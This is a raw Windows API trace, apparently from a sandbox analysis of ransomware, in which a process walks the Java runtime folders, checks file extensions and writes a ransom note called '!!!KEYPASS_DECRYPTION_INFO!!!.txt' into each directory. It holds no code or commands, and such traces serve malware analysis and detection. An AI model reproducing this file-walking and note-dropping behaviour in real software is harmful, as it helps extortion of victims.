[0242.891] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\classes.jsa") returned=".jsa" [0242.891] FindNextFileW (in: hFindFile=0x2e792d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.891] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\jvm.dll") returned=".dll" [0242.891] FindNextFileW (in: hFindFile=0x2e792d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\Xusage.txt") returned=".txt" [0242.892] FindNextFileW (in: hFindFile=0x2e792d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\servertool.exe") returned=".exe" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\splashscreen.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\ssv.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\ssvagent.exe") returned=".exe" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\sunec.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\sunmscapi.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\t2k.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\tnameserv.exe") returned=".exe" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\unpack.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\unpack200.exe") returned=".exe" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\verify.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\w2k_lsa_auth.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.892] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\WindowsAccessBridge-64.dll") returned=".dll" [0242.892] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.893] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\wsdetect.dll") returned=".dll" [0242.893] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.893] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\zip.dll") returned=".dll" [0242.893] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0242.893] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.893] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\COPYRIGHT") returned="" [0242.893] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.893] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0242.893] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.893] GetLastError () returned 0x3f0 [0242.893] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.893] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x570 [0242.898] GetFileType (hFile=0x570) returned 0x1 [0242.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0242.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0242.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0242.898] WriteFile (in: hFile=0x570, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0242.899] WriteFile (in: hFile=0x570, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0242.899] CloseHandle (hObject=0x570) returned 1 [0242.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79118 [0242.903] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.904] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.904] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.904] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.904] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\accessibility.properties") returned=".properties" [0242.904] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.904] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.904] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.904] GetLastError () returned 0x3f0 [0242.904] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.904] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\amd64\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0242.905] GetFileType (hFile=0x568) returned 0x1 [0242.905] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.905] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.905] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.905] WriteFile (in: hFile=0x568, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.906] WriteFile (in: hFile=0x568, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.906] CloseHandle (hObject=0x568) returned 1 [0242.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79358 [0242.906] FindNextFileW (in: hFindFile=0x2e79358, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.906] FindNextFileW (in: hFindFile=0x2e79358, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.907] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.907] FindNextFileW (in: hFindFile=0x2e79358, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.907] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\amd64\\jvm.cfg") returned=".cfg" [0242.907] FindNextFileW (in: hFindFile=0x2e79358, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.907] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.907] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.907] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.907] GetLastError () returned 0x3f0 [0242.907] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\applet\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\applet\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.907] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\applet\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.908] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\applet\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\applet\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x574 [0242.910] GetFileType (hFile=0x574) returned 0x1 [0242.910] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.910] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.910] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.910] WriteFile (in: hFile=0x574, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.911] WriteFile (in: hFile=0x574, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.911] CloseHandle (hObject=0x574) returned 1 [0242.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\applet\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79318 [0242.912] FindNextFileW (in: hFindFile=0x2e79318, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.912] FindNextFileW (in: hFindFile=0x2e79318, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.912] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\applet\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.912] FindNextFileW (in: hFindFile=0x2e79318, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.912] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.912] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\calendars.properties") returned=".properties" [0242.912] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.912] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\charsets.jar") returned=".jar" [0242.912] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.912] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\classlist") returned="" [0242.912] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.912] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.912] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.912] GetLastError () returned 0x3f0 [0242.912] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.913] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.913] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\cmm\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x578 [0242.975] GetFileType (hFile=0x578) returned 0x1 [0242.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.976] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.976] WriteFile (in: hFile=0x578, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.976] WriteFile (in: hFile=0x578, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.976] CloseHandle (hObject=0x578) returned 1 [0242.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e78e58 [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\CIEXYZ.pf") returned=".pf" [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\GRAY.pf") returned=".pf" [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\LINEAR_RGB.pf") returned=".pf" [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\PYCC.pf") returned=".pf" [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\cmm\\sRGB.pf") returned=".pf" [0242.977] FindNextFileW (in: hFindFile=0x2e78e58, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.977] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\content-types.properties") returned=".properties" [0242.977] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.977] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\currency.data") returned=".data" [0242.977] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.977] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.977] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.977] GetLastError () returned 0x3f0 [0242.977] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.977] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.988] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\deploy\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x580 [0242.992] GetFileType (hFile=0x580) returned 0x1 [0242.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.992] WriteFile (in: hFile=0x580, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.993] WriteFile (in: hFile=0x580, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.993] CloseHandle (hObject=0x580) returned 1 [0242.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79258 [0242.993] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.993] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\ffjcext.zip") returned=".zip" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_de.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_es.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_fr.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_it.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_ja.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_ko.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_pt_BR.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_sv.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_zh_CN.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_zh_HK.properties") returned=".properties" [0242.994] FindNextFileW (in: hFindFile=0x2e79258, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.994] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\deploy\\messages_zh_TW.properties") returned=".properties" 